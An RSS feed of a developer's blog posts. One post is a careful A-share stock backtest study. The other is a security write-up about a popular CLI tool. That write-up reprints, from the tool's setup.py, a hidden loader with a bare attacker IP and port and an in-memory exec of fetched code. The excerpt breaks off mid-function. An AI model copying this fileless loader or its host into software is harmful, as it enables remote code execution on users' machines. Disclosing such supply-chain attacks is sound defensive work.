<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:dc="http://purl.org/dc/elements/1.1/">
  <channel>
    <title>DEV Community: Felixwang007</title>
    <description>The latest articles on DEV Community by Felixwang007 (@felixwang007).</description>
    <link>https://dev.to/felixwang007</link>
    <image>
      <url>https://media2.dev.to/dynamic/image/width=90,height=90,fit=cover,gravity=auto,format=auto/https:%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Fuser%2Fprofile_image%2F4050246%2F367055f4-756f-41a0-96f9-b2b5447699ae.png</url>
      <title>DEV Community: Felixwang007</title>
      <link>https://dev.to/felixwang007</link>
    </image>
    <atom:link rel="self" type="application/rss+xml" href="https://dev.to/feed/felixwang007"/>
    <language>en</language>
    <item>
      <title>I Fixed Two Bugs in My A-Share Backtest. 47x of the Edge Vanished, and Every 'Buy' Pattern Went Negative</title>
      <dc:creator>Felixwang007</dc:creator>
      <pubDate>Thu, 24 Sep 2026 12:57:59 +0000</pubDate>
      <link>https://dev.to/felixwang007/i-fixed-two-bugs-in-my-a-share-backtest-47x-of-the-edge-vanished-and-every-buy-pattern-went-1hod</link>
      <guid>https://dev.to/felixwang007/i-fixed-two-bugs-in-my-a-share-backtest-47x-of-the-edge-vanished-and-every-buy-pattern-went-1hod</guid>
      <description>&lt;p&gt;&lt;strong&gt;TL;DR&lt;/strong&gt; — I rebuilt my Chinese A-share signal study on &lt;strong&gt;3,145 main-board stocks × 622&lt;br&gt;
trading days (2024-01-26 → 2026-09-18) = 904,775 pattern-labelled stock-days&lt;/strong&gt;, using free&lt;br&gt;
data. Two measurement bugs were inflating the results. After fixing them, &lt;strong&gt;none of the six&lt;br&gt;
classic chart patterns beat the equal-weight universe.&lt;/strong&gt; The only statistically solid&lt;br&gt;
signals left were the two &lt;em&gt;avoidance&lt;/em&gt; ones.&lt;/p&gt;

&lt;p&gt;This is the follow-up to &lt;a href="https://dev.to/felixwang007/i-backtested-volume-confirmation-on-15900-real-a-share-stock-days-it-flipped-sign-between-two-977"&gt;my earlier volume study&lt;/a&gt;&lt;br&gt;
that flipped sign between two consecutive months. Same rule: publish the number even when&lt;br&gt;
it kills the story I wanted to tell.&lt;/p&gt;
&lt;h2&gt;
  
  
  What I built
&lt;/h2&gt;

&lt;p&gt;Data: daily K-lines for 3,145 Shanghai/Shenzhen main-board names, pulled from Tencent's free&lt;br&gt;
endpoint — no key, no vendor, ~0.2 s per stock:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;https://web.ifzq.gtimg.cn/appstock/app/fqkline/get?param=sh600000,day,,,640,qfq
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Six patterns, each defined by measurable conditions (not by the name a newsletter gives it):&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;pattern&lt;/th&gt;
&lt;th&gt;condition&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Breakout+Volume&lt;/td&gt;
&lt;td&gt;close &amp;gt; prior 20-day high &lt;strong&gt;and&lt;/strong&gt; volume ratio ≥ 1.5&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;HighLevelVolumeDrop&lt;/td&gt;
&lt;td&gt;in the top 30% of its 20-day range, day ≤ −3%, volume ratio ≥ 1.3&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;OversoldRebound&lt;/td&gt;
&lt;td&gt;MA5 &amp;lt; MA20, 20-day return ≤ −15%, day &amp;gt; +2%, volume ratio ≥ 1.2&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;LowVolPullback&lt;/td&gt;
&lt;td&gt;MA5 &amp;gt; MA20, down day, volume ratio ≤ 0.85&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Uptrend&lt;/td&gt;
&lt;td&gt;MA5 &amp;gt; MA10 &amp;gt; MA20 and close &amp;gt; MA20&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Sideways&lt;/td&gt;
&lt;td&gt;20-day range &amp;lt; 8% and&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;Label = forward 5-trading-day return. The rules are ported verbatim from the labelled set I&lt;br&gt;
use to fine-tune my own model, and I checked the port: &lt;strong&gt;5,998 of 6,000 randomly sampled&lt;br&gt;
labelled rows reproduce exactly (99.97%)&lt;/strong&gt;, so the labels here and the labels in the model's&lt;br&gt;
training data agree.&lt;/p&gt;
&lt;h2&gt;
  
  
  Bug #1 — the ragged panel invents market days
&lt;/h2&gt;

&lt;p&gt;Concatenating one file per stock gives &lt;strong&gt;6,487 distinct dates&lt;/strong&gt;. Only &lt;strong&gt;622 of them are real&lt;br&gt;
market days&lt;/strong&gt;; the other 5,870 are phantom "sessions" where one or two stale or delisted&lt;br&gt;
files traded (median 4 rows). Averaging over them moved conclusions a lot:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;pattern            clustered (622 real days)     over all dates incl. phantom
Uptrend            +0.191%   t=+1.47             +0.526%   t=+5.66
LowVolPullback     +0.317%   t=+2.29             +0.546%   t=+5.48
Sideways           +0.322%   t=+3.11             +0.020%   t=+0.28
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;An "uptrend continuation edge" with t=+5.7 turned into t=+1.5 — i.e. nothing — purely from&lt;br&gt;
stale single-name dates. Guard: a date only counts if ≥500 universe members have a defined&lt;br&gt;
20-day MA that day.&lt;/p&gt;
&lt;h2&gt;
  
  
  Bug #2 — one session is not 200 independent samples
&lt;/h2&gt;

&lt;p&gt;This is the bigger one. Stock-days inside a session are highly correlated: a market-wide&lt;br&gt;
bounce lifts hundreds of "oversold rebound" names at once.&lt;/p&gt;

&lt;p&gt;Raw row-level average for oversold-rebound setups on days when &amp;gt;60% of the market was above&lt;br&gt;
its 20-day MA: &lt;strong&gt;+11.35%, 67.8% win rate, 374 rows.&lt;/strong&gt; Same data, one observation per day&lt;br&gt;
instead of one per row: &lt;strong&gt;+0.65%.&lt;/strong&gt; Two sessions carried the whole thing — 2026-07-31&lt;br&gt;
(222 names, +14.25% average) and 2026-08-04 (34 names).&lt;/p&gt;

&lt;p&gt;The fix is five lines:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="n"&gt;per_day&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;{}&lt;/span&gt;
&lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;r&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;rows&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="n"&gt;per_day&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;setdefault&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;r&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;date&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="p"&gt;[]).&lt;/span&gt;&lt;span class="nf"&gt;append&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;r&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;fwd5&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;])&lt;/span&gt;

&lt;span class="n"&gt;day_means&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;statistics&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;fmean&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;v&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;v&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;per_day&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;values&lt;/span&gt;&lt;span class="p"&gt;()]&lt;/span&gt;
&lt;span class="n"&gt;mean&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;statistics&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;fmean&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;day_means&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="n"&gt;t&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;mean&lt;/span&gt; &lt;span class="o"&gt;/&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;statistics&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;stdev&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;day_means&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;/&lt;/span&gt; &lt;span class="nf"&gt;len&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;day_means&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;**&lt;/span&gt; &lt;span class="mf"&gt;0.5&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;   &lt;span class="c1"&gt;# n = DAYS, not rows
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  What survived both fixes
&lt;/h2&gt;

&lt;p&gt;Mean of per-day means, forward 5 days, 2024-01 → 2026-09:&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;pattern&lt;/th&gt;
&lt;th&gt;days&lt;/th&gt;
&lt;th&gt;rows&lt;/th&gt;
&lt;th&gt;fwd 5d&lt;/th&gt;
&lt;th&gt;t&lt;/th&gt;
&lt;th&gt;naive row-level mean&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Sideways&lt;/td&gt;
&lt;td&gt;603&lt;/td&gt;
&lt;td&gt;175,338&lt;/td&gt;
&lt;td&gt;+0.322%&lt;/td&gt;
&lt;td&gt;+3.11&lt;/td&gt;
&lt;td&gt;+0.425%&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;LowVolPullback&lt;/td&gt;
&lt;td&gt;615&lt;/td&gt;
&lt;td&gt;231,310&lt;/td&gt;
&lt;td&gt;+0.317%&lt;/td&gt;
&lt;td&gt;+2.29&lt;/td&gt;
&lt;td&gt;+0.526%&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Uptrend&lt;/td&gt;
&lt;td&gt;617&lt;/td&gt;
&lt;td&gt;401,002&lt;/td&gt;
&lt;td&gt;+0.191%&lt;/td&gt;
&lt;td&gt;+1.47&lt;/td&gt;
&lt;td&gt;+0.362%&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;OversoldRebound&lt;/td&gt;
&lt;td&gt;462&lt;/td&gt;
&lt;td&gt;5,934&lt;/td&gt;
&lt;td&gt;+0.033%&lt;/td&gt;
&lt;td&gt;+0.10&lt;/td&gt;
&lt;td&gt;+1.547%&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Breakout+Volume&lt;/td&gt;
&lt;td&gt;617&lt;/td&gt;
&lt;td&gt;59,352&lt;/td&gt;
&lt;td&gt;−0.432%&lt;/td&gt;
&lt;td&gt;−2.84&lt;/td&gt;
&lt;td&gt;−0.289%&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;HighLevelVolumeDrop&lt;/td&gt;
&lt;td&gt;608&lt;/td&gt;
&lt;td&gt;7,151&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;−1.557%&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;−6.30&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;−1.152%&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;Note the last column: the oversold-rebound row-level mean is &lt;strong&gt;47×&lt;/strong&gt; its clustered value.&lt;br&gt;
That 47× is the most common backtest lie on the internet.&lt;/p&gt;
&lt;h2&gt;
  
  
  The test that killed the bullish patterns
&lt;/h2&gt;

&lt;p&gt;A positive raw return does not mean the pattern works — it may just mean the market went up.&lt;br&gt;
So subtract the same-day equal-weight universe return from every row:&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;pattern&lt;/th&gt;
&lt;th&gt;excess fwd 5d&lt;/th&gt;
&lt;th&gt;t&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;HighLevelVolumeDrop&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;−1.958%&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;−9.84&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Breakout+Volume&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;−0.843%&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;−8.54&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;OversoldRebound&lt;/td&gt;
&lt;td&gt;−0.361%&lt;/td&gt;
&lt;td&gt;−1.39&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Uptrend&lt;/td&gt;
&lt;td&gt;−0.220%&lt;/td&gt;
&lt;td&gt;−3.95&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;LowVolPullback&lt;/td&gt;
&lt;td&gt;−0.117%&lt;/td&gt;
&lt;td&gt;−2.18&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Sideways&lt;/td&gt;
&lt;td&gt;−0.065%&lt;/td&gt;
&lt;td&gt;−0.94&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;&lt;strong&gt;Not one bullish pattern beat just holding the basket.&lt;/strong&gt; Every positive number in the&lt;br&gt;
previous table was market beta — including "buy the uptrend" and "buy the pullback". What&lt;br&gt;
survives is only what you should &lt;em&gt;avoid&lt;/em&gt;: a high-level drop on heavy volume, and chasing a&lt;br&gt;
volume breakout.&lt;/p&gt;
&lt;h2&gt;
  
  
  The one filter that did move the needle: breadth
&lt;/h2&gt;

&lt;p&gt;Because beta is the whole game, the market's own breadth is the useful variable. I built a&lt;br&gt;
gauge: share of the universe trading &lt;strong&gt;above its own 20-day MA&lt;/strong&gt;, once per day, from all&lt;br&gt;
3,145 names.&lt;/p&gt;

&lt;p&gt;Using that as a regime filter on the equal-weight universe (next 5 trading days):&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;breadth bucket&lt;/th&gt;
&lt;th&gt;days&lt;/th&gt;
&lt;th&gt;next-5d equal-weight&lt;/th&gt;
&lt;th&gt;t&lt;/th&gt;
&lt;th&gt;up-days&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&amp;lt;20%&lt;/td&gt;
&lt;td&gt;68&lt;/td&gt;
&lt;td&gt;+0.80%&lt;/td&gt;
&lt;td&gt;+2.22&lt;/td&gt;
&lt;td&gt;63.2%&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;20-40%&lt;/td&gt;
&lt;td&gt;163&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;−0.50%&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;−1.87&lt;/td&gt;
&lt;td&gt;46.6%&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;40-60%&lt;/td&gt;
&lt;td&gt;160&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;+0.93%&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;+3.51&lt;/td&gt;
&lt;td&gt;60.6%&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;60-80%&lt;/td&gt;
&lt;td&gt;143&lt;/td&gt;
&lt;td&gt;+0.36%&lt;/td&gt;
&lt;td&gt;+1.86&lt;/td&gt;
&lt;td&gt;58.7%&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&amp;gt;80%&lt;/td&gt;
&lt;td&gt;83&lt;/td&gt;
&lt;td&gt;+0.97%&lt;/td&gt;
&lt;td&gt;+2.03&lt;/td&gt;
&lt;td&gt;59.0%&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;Both tails are positive; &lt;strong&gt;the dead zone is 20-40%&lt;/strong&gt; — and that is exactly where the market&lt;br&gt;
sat at the end of this sample (&lt;strong&gt;2026-09-18: 32.63% above MA20, 28th percentile of 622&lt;br&gt;
days&lt;/strong&gt;).&lt;/p&gt;

&lt;p&gt;Inside that band, no pattern has positive expectancy:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;breadth 20-40%:  high-level volume drop  -2.92% (t-5.5)
                 breakout + volume       -1.35% (t-4.7)
                 oversold rebound        -1.81% (t-3.4)
                 low-volume pullback     -0.86% (t-3.0)
                 uptrend                 -0.80% (t-3.3)
breadth 40-60%:  low-volume pullback     +0.96% (t+3.5)
                 uptrend                 +0.73% (t+2.8)
                 sideways                +0.76% (t+3.6)
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The year split (2024 / 2025 / 2026) keeps the sign of the 40-60% bucket in all three years&lt;br&gt;
(+1.1 / +1.1 / +0.5), so that middle band is not one lucky stretch. The tails move around.&lt;/p&gt;
&lt;h2&gt;
  
  
  How I use this now
&lt;/h2&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Benchmark against the day's equal-weight return, not against zero.&lt;/strong&gt; Half the "edges"
in retail technical analysis are just exposure.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Cluster before you compute a t-stat.&lt;/strong&gt; If your study has 400 rows but 8 effective days,
you have 8 observations.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Guard the panel.&lt;/strong&gt; A minimum-names-per-day rule catches stale files before they become
"evidence".&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Sell signals are more robust than buy signals here.&lt;/strong&gt; Two of two avoidance patterns
survived with |t| &amp;gt; 6; zero of four bullish ones did.&lt;/li&gt;
&lt;/ol&gt;
&lt;h2&gt;
  
  
  Caveats
&lt;/h2&gt;

&lt;p&gt;Main board only (no ChiNext / STAR / BSE), 2024–2026 sample, no transaction costs, no T+1&lt;br&gt;
fill modelling, overlapping 5-day windows (so the t-stats are &lt;em&gt;optimistic&lt;/em&gt;, not&lt;br&gt;
conservative), and I inspected dozens of signal × regime cells — at that count some t≈2&lt;br&gt;
values are noise. Treat this as a measurement lesson, not a trading system.&lt;/p&gt;
&lt;h2&gt;
  
  
  Reproduce it
&lt;/h2&gt;

&lt;p&gt;Everything is one script against free data — no API key:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# one JSON per stock: [{date,open,high,low,close,volume}, ...]&lt;/span&gt;
python breadth_gauge.py path/to/history_ext
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;→ &lt;strong&gt;github.com/Felixwang007/a-share-signal-lab&lt;/strong&gt; — &lt;code&gt;breadth_gauge.py&lt;/code&gt; (builds the gauge and&lt;br&gt;
every number above), &lt;code&gt;breadth_gauge.json&lt;/code&gt; (622 days of breadth), &lt;code&gt;breadth_stats.json&lt;/code&gt; (the&lt;br&gt;
tables), plus the earlier volume study.&lt;/p&gt;

&lt;p&gt;If you want this kind of data-audit tooling packaged for an AI coding agent to run for you,&lt;br&gt;
I publish skills for that on &lt;a href="https://xiaping.coze.com" rel="noopener noreferrer"&gt;虾评&lt;/a&gt; — but the honest version of the&lt;br&gt;
finding lives in the repo above, where you can recompute it yourself.&lt;/p&gt;

</description>
      <category>ai</category>
      <category>python</category>
      <category>opensource</category>
      <category>stocks</category>
    </item>
    <item>
      <title>A 1,145-Star CLI Promised "Nothing Leaves Your Machine". It Executes a Hidden Payload at Import Time.</title>
      <dc:creator>Felixwang007</dc:creator>
      <pubDate>Mon, 21 Sep 2026 04:13:28 +0000</pubDate>
      <link>https://dev.to/felixwang007/a-1145-star-cli-promised-nothing-leaves-your-machine-it-executes-a-hidden-payload-at-import-2npd</link>
      <guid>https://dev.to/felixwang007/a-1145-star-cli-promised-nothing-leaves-your-machine-it-executes-a-hidden-payload-at-import-2npd</guid>
      <description>&lt;p&gt;A repo with 1,145 stars told me it ran entirely locally. Line 12 of its CLI said otherwise, and the check that would have caught it takes 20 seconds.&lt;/p&gt;

&lt;p&gt;This is what it looked like, what I changed about my install routine, and where the routine still fails.&lt;/p&gt;

&lt;h2&gt;
  
  
  The README said all the right things
&lt;/h2&gt;

&lt;p&gt;&lt;code&gt;crwdla/tokentab&lt;/code&gt; was on GitHub Trending in mid-September 2026: two weeks old, ~1.1k stars, a dashboard screenshot, and this:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;tokentab reads the session logs that Claude Code, Codex, Cursor and Gemini CLI already leave on disk... &lt;strong&gt;It runs entirely locally: no account, no API key, nothing leaves your machine.&lt;/strong&gt;&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;That pitch is plausible, which is why it works. A token-cost dashboard &lt;em&gt;has&lt;/em&gt; to read &lt;code&gt;~/.claude/projects/**/*.jsonl&lt;/code&gt; and &lt;code&gt;~/.codex/sessions/**/rollout-*.jsonl&lt;/code&gt;. Nothing about the premise is suspicious.&lt;/p&gt;

&lt;h2&gt;
  
  
  What was in the tree
&lt;/h2&gt;

&lt;p&gt;Commit &lt;code&gt;d9e8cb4&lt;/code&gt; (2026-09-07), file &lt;code&gt;tokentab/setup.py&lt;/code&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="n"&gt;CONFIG&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;HOST&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;172.233.51.81&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;   &lt;span class="c1"&gt;# bare IP, no domain, no TLS
&lt;/span&gt;    &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;PORT&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;8765&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;ASSET&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;main&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;API_KEY&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;test123&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;PAYLOAD_KEY&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;secret456&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="n"&gt;CLIENT_MODULE&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;manual_mapper.py&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;

&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;_load_module_memory&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;name&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nb"&gt;str&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;data&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nb"&gt;bytes&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;-&amp;gt;&lt;/span&gt; &lt;span class="bp"&gt;None&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="n"&gt;module&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;types&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nc"&gt;ModuleType&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;mod_name&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="n"&gt;module&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;__file__&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;&amp;lt;ram:&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;name&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s"&gt;&amp;gt;&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;          &lt;span class="c1"&gt;# never touches disk
&lt;/span&gt;    &lt;span class="n"&gt;sys&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;modules&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;mod_name&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;module&lt;/span&gt;
    &lt;span class="nf"&gt;exec&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nf"&gt;compile&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;data&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;name&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;exec&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt; &lt;span class="n"&gt;module&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;__dict__&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;bootstrap&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;cfg&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;url&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
